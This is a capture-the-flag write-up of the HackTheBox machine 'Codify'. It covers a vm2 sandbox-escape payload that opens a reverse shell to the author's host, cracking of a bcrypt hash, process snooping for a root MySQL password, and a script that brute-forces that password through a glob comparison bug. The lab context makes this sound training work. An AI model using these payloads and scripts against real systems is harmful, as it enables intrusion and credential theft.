Post

Codify HackTheBox

Box Info:

Codfiy was an easy linux box featuring a web application where user can test Node.js code. Web application uses a vulnerable library vm2 which can be exploited to get a shell. Enumerating the system user can find SQLite database containing a hash which can be cracked and used over SSH to get user.txt. This user can run a vulnerable Bash script that leads to privilege escalation to root on the box.

Recon

Nmap

First off, I’ll run an nmap scan to see what we are up against.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
➜  codify nmap -sCV -oN scan.txt 10.129.240.130 -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-23 08:08 EST
Nmap scan report for 10.129.240.130
Host is up (0.11s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://codify.htb/
3000/tcp open  http    Node.js Express framework
|_http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.08 seconds

Looking at the results, we can see that port 22 (SSH), 80, and 3000 are open. 80 is running Apache httpd 2.4.52 and redirecting to codify.htb, where 3000 is Node.js.

I’ll add codify.htb to my /etc/hosts.

1
echo '10.129.240.130 codify.htb' | sudo tee -a /etc/hosts

Port 80 / 3000

Port 80 and 3000 are the same websites, but port 3000 is running as a proxy to the one on port 80, likely for load balancing. This can be confirmed after getting a shell and checking the /etc/apache2/sites-enabled/000-default.conf file. I ran ffuf but found nothing interesting, so I moved on.

Looking at the page, we can see that it’s a JavaScript sandbox:

Clicking on Try it now takes us to a web editor where we can test our code.

This page mentions that there are some limitations and links to /limitations. Looking at /limitations, it doesn’t tell us a lot more but mentions some restricted Node.js modules. The restricted modules are child_process and fs. However, there is a whitelist of modules we can use:

Looking at /about reveals some interesting information about the library being used.

The vm2 library is a widely used and trusted tool for sandboxing JavaScript.

It also links to the actual repo of this project. However, this project had been discontinued due to having critical vulnerabilities in it.

Looking over the Security tab on the GitHub repo, we can see a couple of critical vulnerabilities reported.

Shell as svc

As we saw earlier, we can run and test code on the website. Let’s try one of the PoCs. I’ll use this one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("bash -c 'bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

As I run the above code in the editor it just hangs in there.

But on the other hand there is a shell waiting for us.

1
2
3
4
5
6
➜  codify nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.78] from (UNKNOWN) [10.129.240.130] 40776
bash: cannot set terminal process group (1253): Inappropriate ioctl for device
bash: no job control in this shell
svc@codify:~$

I’ll upgrade the shell with the a simple technique.

1
2
3
4
5
6
7
8
svc@codify:~$ script -qc /bin/bash /dev/null
svc@codify:~$ ^Z
[1]  + 54891 suspended  nc -nvlp 9001
➜  codify echo raw stty -echo;fg
[1]  + 54891 continued  nc -nvlp 9001

svc@codify:~$ export TERM=linux
svc@codify:~$

Shell as joshua

There is nothing really much interesting in svc’s home directory, looking at /var/www/:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
svc@codify:~$ ls -lah ~
ls -lah ~
total 32K
drwxr-x--- 4 svc    svc    4.0K Sep 26  2023 .
drwxr-xr-x 4 joshua joshua 4.0K Sep 12  2023 ..
lrwxrwxrwx 1 svc    svc       9 Sep 14  2023 .bash_history -> /dev/null
-rw-r--r-- 1 svc    svc     220 Sep 12  2023 .bash_logout
-rw-r--r-- 1 svc    svc    3.7K Sep 12  2023 .bashrc
drwx------ 2 svc    svc    4.0K Sep 12  2023 .cache
drwxrwxr-x 5 svc    svc    4.0K Nov 23 12:41 .pm2
-rw-r--r-- 1 svc    svc     807 Sep 12  2023 .profile
-rw-r--r-- 1 svc    svc      39 Sep 26  2023 .vimrc
svc@codify:/var/www/contact$ ls ../
contact  editor  html

I found nothing interesting in html or editor but I found tickets.db in contact. So I assume this website isn’t used anymore.

1
2
svc@codify:/var/www/contact$ ls
index.js  package.json  package-lock.json  templates  tickets.db

ticket.db is an SQLite database, I’ll dump it and see what’s init.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
svc@codify:/var/www/contact$ sqlite3 tickets.db .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    );
INSERT INTO users VALUES(3,'joshua','$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2');
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
INSERT INTO tickets VALUES(1,'Tom Hanks','Need networking modules','I think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!','open');
INSERT INTO tickets VALUES(2,'Joe Williams','Local setup?','I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.','open');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',3);
INSERT INTO sqlite_sequence VALUES('tickets',5);
COMMIT;

There is an hash of user joshua who is an user on the box.

1
2
3
4
svc@codify:/var/www/contact$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
joshua:x:1000:1000:,,,:/home/joshua:/bin/bash
svc:x:1001:1001:,,,:/home/svc:/bin/bash

I’ll crack the hash using hashcat and use the password over SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  codify hashcat hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
    <SNIP>

The following 4 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   3200 | bcrypt $2*$, Blowfish (Unix)                               | Operating System
  25600 | bcrypt(md5($pass)) / bcryptmd5                             | Forums, CMS, E-Commerce
  25800 | bcrypt(sha1($pass)) / bcryptsha1                           | Forums, CMS, E-Commerce
  28400 | bcrypt(sha512($pass)) / bcryptsha512                       | Forums, CMS, E-Commerce

    <SNIP>

It tired to match the hash but there are four options, I’ll tried all of them but 3200 worked out.

1
2
3
4
5
➜  codify hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
    <SNIP>
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
    <SNIp>

The password is spongebob1.

su / SSH

su

1
2
3
4
svc@codify:/var/www/contact$ su joshua
Password:
joshua@codify:/var/www/contact$ cd ~
joshua@codify:~$

SSH

1
2
3
4
5
6
7
ssh [email protected]
The authenticity of host 'codify.htb (10.129.240.130)' can't be established.
    <SNIP>
[email protected]'s password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)
    <SNIP>
joshua@codify:~$

Shell as root

mysql-backup.sh

joshua has some sudo power.

1
2
3
4
5
6
7
8
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh

The script itself just backups the database. mysql-backup.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!

flaws

It’s reading credentials from /root/.creds, but we can’t access it.

This Bash script contains two vulnerabilities. The first one appears in this code snippet:

1
2
3
4
5
6
if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

It’s comparison issue where $USER_PASS is not in ". It can be bypassed and with bash globbing we can leak the value of $DB_PASS. It’s an issue with Bash.

The 2nd one, in this code snippet:

1
2
3
4
5
6
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

The mysql and mysqldump commands are executed by passing the password via the command line. Both use the password from the file, not the one provided by the user. This means that any user monitoring the process list can easily see the password.

leveraging

Script prompts for a password and entering the wrong password it exists it out.

1
2
3
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmation failed!

But when entering *, it bypasses the check.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!

process monitoring

I’ll upload pspy64 onto the box and monitor the process to caught the password.

1
2
3
4
5
6
7
8
9
10
11
12
joshua@codify:~$ wget 10.10.14.78/pspy64
--2024-11-23 15:18:38--  http://10.10.14.78/pspy64
Connecting to 10.10.14.78:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64                       100%[=============================================>]   2.96M   659KB/s    in 4.7s

2024-11-23 15:18:43 (644 KB/s) - ‘pspy64’ saved [3104768/3104768]

joshua@codify:~$
1
2
Serving on http://0.0.0.0:80
10.129.240.130 - - [2024-11-23 10:18:32] "GET /pspy64 HTTP/1.1" 200 -
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
joshua@codify:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
    <SNIP>
2024/11/23 15:26:28 CMD: UID=0     PID=2459   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:28 CMD: UID=0     PID=2460   | /usr/bin/echo Password confirmed!
2024/11/23 15:26:28 CMD: UID=0     PID=2461   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:28 CMD: UID=0     PID=2464   | /usr/bin/grep -Ev (Database|information_schema|performance_schema)
2024/11/23 15:26:28 CMD: UID=0     PID=2463   | /usr/bin/mysql -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 -e SHOW DATABASES;
2024/11/23 15:26:28 CMD: UID=0     PID=2462   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:28 CMD: UID=0     PID=2466   |
2024/11/23 15:26:28 CMD: UID=0     PID=2468   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:28 CMD: UID=0     PID=2467   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:29 CMD: UID=0     PID=2469   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:29 CMD: UID=0     PID=2471   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:29 CMD: UID=0     PID=2470   | /usr/bin/mysqldump --force -u root -h 0.0.0.0 -P 3306 -pkljh12k3jhaskjh12kjh3 sys
2024/11/23 15:26:30 CMD: UID=0     PID=2472   |
2024/11/23 15:26:30 CMD: UID=0     PID=2473   | /bin/bash /opt/scripts/mysql-backup.sh
2024/11/23 15:26:30 CMD: UID=0     PID=2474   | /usr/bin/chown root:sys-adm /var/backups/mysql
    <SNIP>

As we can see in the pspy64’s output the password of root is kljh12k3jhaskjh12kjh3. (-p is password flag.)

brute forcing

When I enter “k*” it works.

1
2
3
joshua@codify:~$ sudo /opt/scripts/mysql-backup.sh
Enter MySQL password for root:
Password confirmed!

This Bash script can brute-force the root password by iteratively appending characters using wildcards to test different combinations until the correct password is found.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash

leaked_password=""
valid_chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_=+[]{}\|;:'\",<.>/?"
previous_password=""

while :; do
    for char in $(echo "$valid_chars" | sed 's/./& /g'); do
        if [[ "$char" =~ [*\\%] ]]; then
            continue
        fi
        printf "\rTrying: %s%s" "$leaked_password" "$char"
        result=$(echo -n "$leaked_password$char*" | sudo /opt/scripts/mysql-backup.sh 2>&1)
        if [[ $? -eq 124 || "$result" == *"Password confirmed"* ]]; then
            leaked_password+="$char"
            break
        fi
    done
    if [[ "$leaked_password" == "$previous_password" ]]; then
        # If the password hasn't changed, exit the loop
        echo -e "\nPassword fully leaked: $leaked_password"
        exit 0
    fi
    previous_password="$leaked_password"
    printf "\rLeaked Password: %s" "$leaked_password"
    sleep 0.1  # Small delay to avoid spamming
done
This post is licensed under CC BY 4.0 by the author.